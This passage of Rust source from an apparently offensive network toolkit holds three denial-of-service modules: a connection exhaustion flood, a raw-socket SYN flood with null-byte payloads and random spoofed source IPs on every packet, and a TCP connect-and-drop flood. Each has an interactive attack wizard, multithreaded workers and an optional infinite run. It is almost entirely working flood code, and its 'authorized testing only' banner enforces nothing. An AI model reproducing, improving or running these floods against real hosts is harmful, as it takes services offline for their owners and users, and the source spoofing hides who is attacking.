let workers_input = prompt_default("Worker Tasks (parallel spawners)", "2000")?;
let worker_count: usize = workers_input
.parse()
.map_err(|_| anyhow!("Invalid number for workers"))?;
if worker_count == 0 {
return Err(anyhow!("Worker count must be > 0"));
}
// Duration
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
let duration_secs: u64 = duration_input
.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
// Connection timeout
let timeout_input = prompt_default("Connection Timeout (ms)", "2000")?;
let connect_timeout_ms: u64 = timeout_input
.parse()
.map_err(|_| anyhow!("Invalid timeout"))?;
let verbose = prompt_yes_no("Verbose Output (show sample errors)?", false)?;
println!("\n{}", "=== Attack Summary ===".bold());
println!(" Target: {}", target_display.cyan());
println!(" Resolved IPs: {:?}", resolved_addrs);
println!(" Max Concurrent FDs: {} (LOCAL PROTECTION)", max_concurrent_fds);
println!(" Worker Tasks: {}", worker_count);
println!(
" Duration: {}",
if duration_secs == 0 {
"INFINITE (Ctrl+C to stop)".to_string()
} else {
format!("{}s", duration_secs)
}
);
println!(" Mode: Connect & Immediate Drop (FD-Bounded)");
println!();
println!(
"{}",
"[!] Your local FD usage is capped. Target's connection"
.yellow()
);
println!(
"{}",
" table will be exhausted, not yours.".yellow()
);
if !prompt_yes_no("Start Attack?", true)? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(FloodConfig {
target_display,
resolved_addrs,
max_concurrent_fds,
worker_count,
duration_secs,
connect_timeout_ms,
verbose,
})
}
async fn execute_flood(config: &FloodConfig) -> Result<()> {
println!(
"\n{}",
"[*] Starting Connection Exhaustion Flood..."
.yellow()
.bold()
);
println!(
"{}",
format!("[*] FD Semaphore limit: {}", config.max_concurrent_fds)
.dimmed()
);
let stop_flag = Arc::new(AtomicBool::new(false));
let stats_connected = Arc::new(AtomicU64::new(0));
let stats_failed = Arc::new(AtomicU64::new(0));
// Semaphore bounds the number of OPEN file descriptors at any time
let fd_semaphore = Arc::new(Semaphore::new(config.max_concurrent_fds));
let start_time = Instant::now();
let connect_timeout = Duration::from_millis(config.connect_timeout_ms);
// Use first resolved address for raw speed
let target_addr = config.resolved_addrs[0];
// Stats printer task
let s_stop = stop_flag.clone();
let s_conn = stats_connected.clone();
let s_fail = stats_failed.clone();
let s_start = start_time;
let stats_handle = tokio::spawn(async move {
let mut last_conn = 0u64;
loop {
tokio::time::sleep(Duration::from_secs(1)).await;
if s_stop.load(Ordering::Relaxed) {
break;
}
let conn = s_conn.load(Ordering::Relaxed);
let fail = s_fail.load(Ordering::Relaxed);
let elapsed = s_start.elapsed().as_secs_f64();
let rate = conn as f64 / elapsed.max(0.001);
let delta = conn.saturating_sub(last_conn);
last_conn = conn;
print!(
"\r{} {}",
"[*]".dimmed(),
format!(
"Connected: {} | Failed: {} | Rate: {:.0}/s | Last sec: {} conns ",
conn, fail, rate, delta
)
.dimmed()
);
use std::io::Write;
let _ = std::io::stdout().flush();
}
});
// Spawn worker tasks
// Each worker continuously: acquire semaphore -> connect -> close -> release semaphore
let mut handles = Vec::with_capacity(config.worker_count);
for _ in 0..config.worker_count {
let stop = stop_flag.clone();
let sem = fd_semaphore.clone();
let conn_stat = stats_connected.clone();
let fail_stat = stats_failed.clone();
let timeout = connect_timeout;
let verbose = config.verbose;
let target = target_addr;
let handle = tokio::spawn(async move {
let mut rng_counter = 0u64;
while !stop.load(Ordering::Relaxed) {
// Acquire semaphore permit BEFORE opening a connection
// This ensures we never exceed max_concurrent_fds open sockets
let permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => break, // Semaphore closed
};
// Attempt connection
match tokio::time::timeout(timeout, TcpStream::connect(target)).await {
Ok(Ok(stream)) => {
// Successfully connected
conn_stat.fetch_add(1, Ordering::Relaxed);
// Immediately drop the stream to close the connection
// This sends FIN, server still has to handle TIME_WAIT
drop(stream);
}
Ok(Err(e)) => {
// Connection error (refused, unreachable, etc.)
fail_stat.fetch_add(1, Ordering::Relaxed);
if verbose {
rng_counter = rng_counter.wrapping_add(1);
// Log ~0.1% of errors
if rng_counter % 1000 == 0 {
eprintln!("\n[!] Connect error: {}", e);
}
}
}
Err(_) => {
// Timeout
fail_stat.fetch_add(1, Ordering::Relaxed);
}
}
// Drop permit to release the semaphore slot
// (This happens automatically but being explicit is clearer)
drop(permit);
}
});
handles.push(handle);
}
// Run for duration (or forever if 0)
if config.duration_secs > 0 {
tokio::time::sleep(Duration::from_secs(config.duration_secs)).await;
} else {
// Infinite mode - wait for Ctrl+C signal for graceful shutdown
println!(
"\n{}",
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
);
let _ = tokio::signal::ctrl_c().await;
}
// Signal stop
stop_flag.store(true, Ordering::Relaxed);
println!();
println!("{}", "[*] Stopping workers...".yellow());
// Wait for workers to finish their current iteration
for h in handles {
let _ = tokio::time::timeout(Duration::from_secs(5), h).await;
}
// Stop stats printer
let _ = stats_handle.await;
// Final report
let total_conn = stats_connected.load(Ordering::Relaxed);
let total_fail = stats_failed.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
println!("\n{}", "=== Attack Complete ===".green().bold());
println!("Target: {}", config.target_display);
println!("Duration: {:.2}s", elapsed);
println!("Total Connections: {}", total_conn);
println!("Failed Attempts: {}", total_fail);
if elapsed > 0.0 {
println!("Average Rate: {:.0} conn/s", total_conn as f64 / elapsed);
}
println!();
println!(
"{}",
format!("[+] Local FD usage was bounded to {} concurrent.", config.max_concurrent_fds)
.green()
);
println!(
"{}",
format!(
" Target received {} handshake attempts (server-side exhaustion).",
total_conn
)
.green()
);
Ok(())
}
+3
View File
@@ -0,0 +1,3 @@
pub mod connection_exhaustion_flood;
pub mod null_syn_exhaustion;
pub mod tcp_connection_flood;
@@ -0,0 +1,636 @@
//! Null SYN Exhaustion Testing Module
//!
//! High-performance SYN flood with null-byte payloads for resource exhaustion testing.
//! Uses native OS threads for CPU-bound packet generation with minimal overhead.
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::tcp::{MutableTcpPacket, TcpFlags};
use socket2::{Domain, Protocol, Socket, Type};
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
};
// ============================================================================
// CONSTANTS
// ============================================================================
const IPV4_HEADER_LEN: usize = 20;
const TCP_HEADER_LEN: usize = 20;
const STATS_BATCH_SIZE: u64 = 500; // Flush stats every N packets
const DEFAULT_TTL: u8 = 64;
const DEFAULT_WINDOW: u16 = 64240;
// ============================================================================
// CONFIGURATION
// ============================================================================
/// Configuration for the exhaustion test
#[derive(Clone, Debug)]
pub struct ExhaustionConfig {
target_ip: Ipv4Addr,
target_port: u16,
source_port: Option<u16>,
use_random_source_ip: bool,
worker_count: usize,
duration_secs: u64,
interval_mode: IntervalMode,
payload_size: usize,
verbose: bool,
}
#[derive(Clone, Copy, Debug)]
pub enum IntervalMode {
/// Maximum speed - no artificial delay
Zero,
/// Fixed delay between packets in microseconds
DelayMicros(u64),
}
// ============================================================================
// FAST RNG (Thread-Safe Seeding)
// ============================================================================
/// XorShift128+ PRNG - high performance, non-cryptographic
/// Each instance is uniquely seeded using thread ID + time for isolation
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
/// Create a new RNG with unique seed per caller
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {
Ok(d) => d.as_nanos() as u64,
Err(_) => 0,
};
// Mix thread ID with time to ensure unique seeds across threads
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = (time_seed.rotate_left(17)) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
// Warm up the RNG state
for _ in 0..16 {
rng.next_u64();
}
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u32(&mut self) -> u32 {
self.next_u64() as u32
}
#[inline(always)]
fn next_u16(&mut self) -> u16 {
self.next_u64() as u16
}
#[inline(always)]
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
loop {
let octets = self.next_u32().to_be_bytes();
// Exclude: loopback, any, multicast, reserved, private ranges
match octets[0] {
0 | 10 | 127 => continue, // 0.x, 10.x, 127.x
224..=255 => continue, // Multicast / Reserved
172 if (16..=31).contains(&octets[1]) => continue, // 172.16-31.x
192 if octets[1] == 168 => continue, // 192.168.x
169 if octets[1] == 254 => continue, // 169.254.x (link-local)
100 if (64..=127).contains(&octets[1]) => continue, // 100.64-127.x (CGNAT)
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
// Range: 49152-65535 (IANA ephemeral)
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// PACKET BUILDER
// ============================================================================
/// Pre-allocated packet buffer with efficient field updates
struct PacketBuilder {
buffer: Vec<u8>,
use_random_src_ip: bool,
fixed_src_ip: Ipv4Addr,
fixed_src_port: Option<u16>,
target_ip: Ipv4Addr,
target_port: u16,
}
impl PacketBuilder {
fn new(config: &ExhaustionConfig, local_ip: Ipv4Addr) -> Result<Self> {
let total_len = IPV4_HEADER_LEN + TCP_HEADER_LEN + config.payload_size;
debug_assert!(total_len <= u16::MAX as usize, "Packet size exceeds IPv4 maximum");
let buffer = vec![0u8; total_len];
Ok(Self {
buffer,
use_random_src_ip: config.use_random_source_ip,
fixed_src_ip: local_ip,
fixed_src_port: config.source_port,
target_ip: config.target_ip,
target_port: config.target_port,
})
}
/// Update dynamic fields and compute checksums
/// Returns a reference to the ready-to-send buffer
#[inline]
fn build_packet(&mut self, rng: &mut FastRng) -> &[u8] {
// CRITICAL: Generate random source IP for each packet when spoofing is enabled
let src_ip = if self.use_random_src_ip {
rng.gen_ipv4_public() // Generate a NEW random IP for EVERY packet
} else {
self.fixed_src_ip
};
let src_port = self.fixed_src_port.unwrap_or_else(|| rng.gen_ephemeral_port());
let ip_id = rng.next_u16();
let seq_num = rng.next_u32();
let total_len = self.buffer.len() as u16;
// Build IP header from scratch each time to ensure source IP is set correctly
if let Some(mut ip) = MutableIpv4Packet::new(&mut self.buffer) {
ip.set_version(4);
ip.set_header_length(5);
ip.set_dscp(0);
ip.set_ecn(0);
ip.set_total_length(total_len);
ip.set_identification(ip_id);
ip.set_flags(0);
ip.set_fragment_offset(0);
ip.set_ttl(DEFAULT_TTL);
ip.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip.set_source(src_ip); // CRITICAL: Set the random source IP here
ip.set_destination(self.target_ip);
// Calculate IP checksum
ip.set_checksum(0);
let checksum = ipv4::checksum(&ip.to_immutable());
ip.set_checksum(checksum);
}
// Build TCP header
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
tcp.set_source(src_port);
tcp.set_destination(self.target_port);
tcp.set_sequence(seq_num);
tcp.set_acknowledgement(0);
tcp.set_data_offset(5);
tcp.set_reserved(0);
tcp.set_flags(TcpFlags::SYN);
tcp.set_window(DEFAULT_WINDOW);
tcp.set_urgent_ptr(0);
tcp.set_checksum(0);
}
// Calculate TCP checksum with pseudo-header
let tcp_checksum = self.calculate_tcp_checksum(src_ip);
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
tcp.set_checksum(tcp_checksum);
}
&self.buffer
}
#[inline]
fn calculate_tcp_checksum(&self, src_ip: Ipv4Addr) -> u16 {
let mut sum: u32 = 0;
// 1. Pseudo-Header Sum
// Source IP
let src_octets = src_ip.octets();
sum += u16::from_be_bytes([src_octets[0], src_octets[1]]) as u32;
sum += u16::from_be_bytes([src_octets[2], src_octets[3]]) as u32;
// Dest IP
let dst_octets = self.target_ip.octets();
sum += u16::from_be_bytes([dst_octets[0], dst_octets[1]]) as u32;
sum += u16::from_be_bytes([dst_octets[2], dst_octets[3]]) as u32;
// Reserved (0) + Protocol (6 for TCP)
sum += IpNextHeaderProtocols::Tcp.0 as u32;
// TCP Length (Header + Payload)
let tcp_len = (self.buffer.len() - IPV4_HEADER_LEN) as u32;
sum += tcp_len;
// 2. TCP Header + Payload Sum
let tcp_data = &self.buffer[IPV4_HEADER_LEN..];
for chunk in tcp_data.chunks(2) {
if chunk.len() == 2 {
sum += u16::from_be_bytes([chunk[0], chunk[1]]) as u32;
} else if chunk.len() == 1 {
// Pad last odd byte with zero
sum += u16::from_be_bytes([chunk[0], 0]) as u32;
}
}
// Fold 32-bit sum to 16-bit
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline]
fn packet_size(&self) -> usize {
self.buffer.len()
}
}
// ============================================================================
// WORKER THREAD
// ============================================================================
/// Statistics for a single worker
struct WorkerStats {
packets: u64,
bytes: u64,
}
/// Run the packet sending loop for a single worker thread
fn worker_thread(
worker_id: usize,
config: ExhaustionConfig,
local_ip: Ipv4Addr,
stop_flag: Arc<AtomicBool>,
global_packets: Arc<AtomicU64>,
global_bytes: Arc<AtomicU64>,
start_time: Instant,
) {
// Create dedicated socket for this worker (no contention)
let socket = match create_raw_socket() {
Ok(s) => s,
Err(e) => {
if worker_id == 0 {
eprintln!("\n{}", format!("[!] Worker 0 socket error: {}", e).red().bold());
}
return;
}
};
// Pre-allocate packet builder
let mut builder = match PacketBuilder::new(&config, local_ip) {
Ok(b) => b,
Err(e) => {
if worker_id == 0 {
eprintln!("\n{}", format!("[!] Packet builder error: {}", e).red());
}
return;
}
};
// Thread-local RNG with unique seed
let mut rng = FastRng::with_thread_seed(worker_id);
// Destination socket address (constant)
let dst_addr: socket2::SockAddr = SocketAddr::new(IpAddr::V4(config.target_ip), 0).into();
let duration = Duration::from_secs(config.duration_secs);
let delay = match config.interval_mode {
IntervalMode::Zero => None,
IntervalMode::DelayMicros(us) => Some(Duration::from_micros(us)),
};
let packet_size = builder.packet_size() as u64;
let mut stats = WorkerStats { packets: 0, bytes: 0 };
// Main send loop
loop {
// Check termination conditions
if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
break;
}
// Build packet with NEW random source IP each time if spoofing enabled
let packet = builder.build_packet(&mut rng);
match socket.send_to(packet, &dst_addr) {
Ok(_) => {
stats.packets += 1;
stats.bytes += packet_size;
}
Err(e) => {
// Log permission errors only once
if config.verbose && worker_id == 0 {
let err_str = e.to_string();
if err_str.contains("ermission") || err_str.contains("EPERM") {
eprintln!("\n{}", "[!] Root privileges required for raw sockets.".red().bold());
stop_flag.store(true, Ordering::Relaxed);
break;
}
}
}
}
// Batch update global stats to reduce atomic contention
if stats.packets >= STATS_BATCH_SIZE {
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
stats.packets = 0;
stats.bytes = 0;
}
// Apply delay if configured
if let Some(d) = delay {
thread::sleep(d);
}
}
// Flush remaining stats
if stats.packets > 0 {
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
}
}
/// Create an optimized raw socket for IP spoofing
fn create_raw_socket() -> Result<Socket> {
let socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
).context("Failed to create raw socket (requires root)")?;
// CRITICAL: Enable IP_HDRINCL to allow custom IP headers (required for spoofing)
socket.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Increase send buffer for burst capacity
let _ = socket.set_send_buffer_size(256 * 1024);
Ok(socket)
}
// ============================================================================
// MAIN EXECUTION
// ============================================================================
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
display_banner();
let config = gather_config(initial_target)?;
execute_attack(config).await
}
fn display_banner() {
println!("{}", r#"
╔══════════════════════════════════════════════════════════════╗
║ Null SYN Exhaustion Testing Module v2.1 ║
║ High-Performance Multi-Threaded Engine ║
║ With True IP Spoofing Support ║
║ FOR AUTHORIZED TESTING ONLY ║
╚══════════════════════════════════════════════════════════════╝
"#.red().bold());
}
fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
println!("{}", "=== Configuration ===".bold());
// Target IP
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target IP")?
} else {
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
initial_target.to_string()
};
let normalized = normalize_target(&target_input)?;
let target_ip: Ipv4Addr = normalized.parse()
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
// Target Port
let target_port = prompt_port("Target port", 80)?;
// Source Port
let src_port_input = prompt_default("Source port (blank for random)", "")?;
let source_port = if src_port_input.is_empty() {
None
} else {
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
};
// Random Source IP
let use_random_source_ip = prompt_yes_no(
"Use random (spoofed) source IPs? (requires root)",
false
)?;
// Worker count - default to CPU cores for optimal performance
let cpu_count = num_cpus::get();
let workers_input = prompt_default(
&format!("Worker threads (recommended: {})", cpu_count),
&cpu_count.to_string()
)?;
let worker_count: usize = workers_input.parse().map_err(|_| anyhow!("Invalid number"))?;
if worker_count == 0 {
return Err(anyhow!("Worker count must be > 0"));
}
// Duration
let duration_input = prompt_required("Test duration (seconds)")?;
let duration_secs: u64 = duration_input.parse().map_err(|_| anyhow!("Invalid duration"))?;
if duration_secs == 0 {
return Err(anyhow!("Duration must be > 0"));
}
// Interval Mode
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
let interval_mode = if zero_interval {
IntervalMode::Zero
} else {
let delay_input = prompt_default("Delay between packets (microseconds)", "1000")?;
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
IntervalMode::DelayMicros(delay)
};
// Payload Size
let payload_input = prompt_default("Null-byte payload size", "1024")?;
let mut payload_size: usize = payload_input.parse().map_err(|_| anyhow!("Invalid size"))?;
// Cap to IPv4 maximum
const MAX_PAYLOAD: usize = 65535 - IPV4_HEADER_LEN - TCP_HEADER_LEN;
if payload_size > MAX_PAYLOAD {
println!("{}", format!("[!] Payload capped at {} bytes", MAX_PAYLOAD).yellow());
payload_size = MAX_PAYLOAD;
}
let verbose = prompt_yes_no("Verbose output?", false)?;
// Summary
println!("\n{}", "=== Test Configuration ===".bold());
println!(" Target: {}:{}", target_ip, target_port);
println!(" Source Port: {}", source_port.map(|p| p.to_string()).unwrap_or_else(|| "random".into()));
println!(" Random IP: {}", if use_random_source_ip { "yes (spoofed - NEW IP per packet)" } else { "no" });
println!(" Workers: {} threads", worker_count);
println!(" Duration: {}s", duration_secs);
println!(" Interval: {:?}", interval_mode);
println!(" Payload: {} bytes", payload_size);
println!(" Packet Size: {} bytes", IPV4_HEADER_LEN + TCP_HEADER_LEN + payload_size);
if use_random_source_ip {
println!("\n{}", "[!] IP spoofing enabled: Each packet will have a different random source IP".yellow().bold());
}
if !prompt_yes_no("\nProceed with test?", true)? {
return Err(anyhow!("Test cancelled by user"));
}
Ok(ExhaustionConfig {
target_ip,
target_port,
source_port,
use_random_source_ip,
worker_count,
duration_secs,
interval_mode,
payload_size,
verbose,
})
}
async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
println!("\n{}", "[*] Initializing attack engine...".yellow().bold());
// Shared state
let stop_flag = Arc::new(AtomicBool::new(false));
let packets_sent = Arc::new(AtomicU64::new(0));
let bytes_sent = Arc::new(AtomicU64::new(0));
// Detect local IP if needed (only used when NOT spoofing)
let local_ip = if !config.use_random_source_ip {
get_local_ipv4().unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
} else {
Ipv4Addr::UNSPECIFIED
};
if config.use_random_source_ip {
println!("{}", "[*] IP Spoofing Mode: Each packet will use a different random source IP".green().bold());
} else {
println!("[*] Local IP: {}", local_ip);
}
println!("[*] Spawning {} worker threads...", config.worker_count);
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
// Spawn native OS threads (not tokio tasks - blocking I/O)
let mut handles = Vec::with_capacity(config.worker_count);
for worker_id in 0..config.worker_count {
let config = config.clone();
let stop = stop_flag.clone();
let pkts = packets_sent.clone();
let bts = bytes_sent.clone();
let handle = thread::spawn(move || {
worker_thread(worker_id, config, local_ip, stop, pkts, bts, start_time);
});
handles.push(handle);
}
println!("{}", "[*] Attack started!".green().bold());
// Stats display loop (async-friendly)
let stats_stop = stop_flag.clone();
let stats_pkts = packets_sent.clone();
let stats_bytes = bytes_sent.clone();
let stats_task = tokio::spawn(async move {
while !stats_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
let pkts = stats_pkts.load(Ordering::Relaxed);
let bytes = stats_bytes.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
let mbps = if elapsed > 0.0 { (bytes as f64 * 8.0) / (elapsed * 1_000_000.0) } else { 0.0 };
print!("\r{}", format!(
"[*] Packets: {:>10} | {:>7.2} MB | Rate: {:>9.0} pkt/s | {:>6.2} Mbps ",
pkts,
bytes as f64 / (1024.0 * 1024.0),
rate,
mbps
).dimmed());
let _ = std::io::Write::flush(&mut std::io::stdout());
}
});
// Wait for test duration
tokio::time::sleep(duration).await;
// Signal workers to stop
stop_flag.store(true, Ordering::SeqCst);
// Wait for all workers to finish
for handle in handles {
let _ = handle.join();
}
stats_task.abort();
// Final statistics
let total_pkts = packets_sent.load(Ordering::Relaxed);
let total_bytes = bytes_sent.load(Ordering::Relaxed);
let elapsed = start_time.elapsed();
let elapsed_secs = elapsed.as_secs_f64();
println!("\n\n{}", "=== Attack Complete ===".green().bold());
println!(" Duration: {:.2}s", elapsed_secs);
println!(" Total Packets: {}", total_pkts);
println!(" Total Data: {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
if elapsed_secs > 0.0 {
println!(" Avg Rate: {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
println!(" Avg Bandwidth: {:.2} Mbps", (total_bytes as f64 * 8.0) / (elapsed_secs * 1_000_000.0));
}
Ok(())
}
fn get_local_ipv4() -> Option<Ipv4Addr> {
use std::net::UdpSocket;
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
socket.connect("8.8.8.8:80").ok()?;
match socket.local_addr().ok()?.ip() {
IpAddr::V4(ip) => Some(ip),
_ => None,
}
}
@@ -0,0 +1,253 @@
use anyhow::{Result, anyhow, Context};
use colored::*;
use tokio::io::AsyncWriteExt; // Required for stream.shutdown()
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use std::net::SocketAddr;
use tokio::net::TcpStream;
use tokio::time::Instant;
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
};
/// Configuration for the connection flood
#[derive(Clone, Debug)]
struct TcpFloodConfig {
target_addr: String, // Host:Port (Display only)
resolved_addrs: Vec<SocketAddr>, // Pre-resolved addresses
concurrent_connections: usize,
duration_secs: u64,
timeout_ms: u64,
verbose: bool,
}
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
print_banner();
let config = setup_wizard(initial_target).await?;
execute_flood(&config).await
}
fn print_banner() {
println!("{}", r#"
╔══════════════════════════════════════════════════════════════╗
║ TCP Connection Flood (Connect & Drop) ║
║ High-Performance Handshake Exhaustion ║
╚══════════════════════════════════════════════════════════════╝
"#.red().bold());
}
async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
println!("{}", "=== Configuration ===".blue().bold());
// Target
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target Host/IP")?
} else {
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
initial_target.to_string()
};
// Normalize and extract details
let normalized = normalize_target(&target_input)?;
// If normalized already has port, use it, else ask
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
let parsed_port = p.parse::<u16>()
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
(h.to_string(), parsed_port)
} else {
let p = prompt_port("Target Port", 80)?;
(normalized, p)
};
let target_addr = format!("{}:{}", host, port);
// Pre-resolve DNS
println!("{}", format!("[*] Resolving {}...", target_addr).yellow());
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_addr).await
.context("Failed to resolve target hostname")?
.collect();
if resolved_addrs.is_empty() {
return Err(anyhow!("Could not resolve target address"));
}
println!("{}", format!("[+] Resolved to: {:?}", resolved_addrs).green());
// Concurrency
let concurrency_input = prompt_default("Concurrent Connections", "500")?;
let concurrent_connections: usize = concurrency_input.parse()
.map_err(|_| anyhow!("Invalid number for concurrency"))?;
if concurrent_connections == 0 {
return Err(anyhow!("Concurrency must be > 0"));
}
// Timeout
let timeout_input = prompt_default("Connection Timeout (ms)", "1000")?;
let timeout_ms: u64 = timeout_input.parse()
.map_err(|_| anyhow!("Invalid timeout"))?;
let verbose = prompt_yes_no("Verbose Output (show errors)?", false)?;
// Duration
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
let duration_secs: u64 = duration_input.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
println!("\n{}", "=== Attack Summary ===".bold());
println!(" Target: {}", target_addr.cyan());
println!(" IP(s): {:?}", resolved_addrs);
println!(" Concurrency: {}", concurrent_connections);
println!(" Duration: {}", if duration_secs == 0 {
"INFINITE (Ctrl+C to stop)".to_string()
} else {
format!("{}s", duration_secs)
});
println!(" Mode: Connect & Drop (Handshake Stress)");
if !prompt_yes_no("Start Attack?", true)? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(TcpFloodConfig {
target_addr,
resolved_addrs,
concurrent_connections,
duration_secs,
timeout_ms,
verbose,
})
}
async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
println!("\n{}", "[*] Starting TCP Connection Flood...".yellow().bold());
let stop_flag = Arc::new(AtomicBool::new(false));
let stats_established = Arc::new(AtomicU64::new(0));
let stats_failed = Arc::new(AtomicU64::new(0));
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
let timeout_duration = Duration::from_millis(config.timeout_ms);
// Use the first resolved address for speed/simplicity
// In a more complex version, we could round-robin, but for DoS, hitting one IP hard is usually the goal.
let target_ip = config.resolved_addrs[0];
// Stats Printer
let s_stop = stop_flag.clone();
let s_est = stats_established.clone();
let s_fail = stats_failed.clone();
let s_start = start_time;
let stats_handle = tokio::spawn(async move {
while !s_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(1)).await;
let est = s_est.load(Ordering::Relaxed);
let fail = s_fail.load(Ordering::Relaxed);
let elapsed = s_start.elapsed().as_secs_f64().max(0.001);
let rate = est as f64 / elapsed;
print!("\r{}", format!(
"[*] Connected: {} | Failed: {} | Rate: {:.1} conn/s",
est, fail, rate
).dimmed());
use std::io::Write;
let _ = std::io::stdout().flush();
}
});
// Fixed Pool of Workers
let mut handles = Vec::with_capacity(config.concurrent_connections);
for _ in 0..config.concurrent_connections {
let stop = stop_flag.clone();
let est = stats_established.clone();
let fail = stats_failed.clone();
let cfg_timeout = timeout_duration;
let verbose = config.verbose;
let target = target_ip; // SocketAddr is Copy, so this is cheap and efficient
let handle = tokio::spawn(async move {
let mut err_counter = 0u64;
while !stop.load(Ordering::Relaxed) {
// Try to connect using the pre-resolved IP
// This skips DNS resolution on every attempt
match tokio::time::timeout(cfg_timeout, TcpStream::connect(target)).await {
Ok(Ok(mut stream)) => {
// Connected!
est.fetch_add(1, Ordering::Relaxed);
// "Connect & Drop" - Immediate shutdown sends FIN
let _ = stream.shutdown().await;
}
Ok(Err(e)) => {
// Connection failed (refused, network unreachable, etc.)
fail.fetch_add(1, Ordering::Relaxed);
if verbose {
err_counter = err_counter.wrapping_add(1);
// Log ~0.1% of errors
if err_counter % 1000 == 0 {
eprintln!("\n[!] Conn Error: {}", e);
}
}
}
Err(_) => {
// Timeout
fail.fetch_add(1, Ordering::Relaxed);
}
}
// No sleep - max speed
}
});
handles.push(handle);
}
// Wait for duration or Ctrl+C
if config.duration_secs > 0 {
tokio::time::sleep(duration).await;
} else {
println!(
"\n{}",
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
);
let _ = tokio::signal::ctrl_c().await;
}
stop_flag.store(true, Ordering::Relaxed);
// Return cursor to new line after stats
println!();
println!("{}", "[*] Stopping threads...".yellow());
// Wait for workers to finish (graceful shutdown)
// In a massive flood, we might not strictly wait for all if they are hung, but with timeout they should finish.
// We can just detach them or await them. Awaiting ensures clean exit.
for h in handles {
let _ = h.await;
}
// Stop stats thread
let _ = stats_handle.await;
// Final Report
let total_est = stats_established.load(Ordering::Relaxed);
let total_fail = stats_failed.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
println!("\n{}", "=== Attack Complete ===".green().bold());
println!("Target: {}", config.target_addr);
println!("Duration: {:.2}s", elapsed);
println!("Total Connections: {}", total_est);
println!("Failed Attempts: {}", total_fail);
if elapsed > 0.0 {
println!("Average Rate: {:.1} conn/s", total_est as f64 / elapsed);
}
Ok(())
}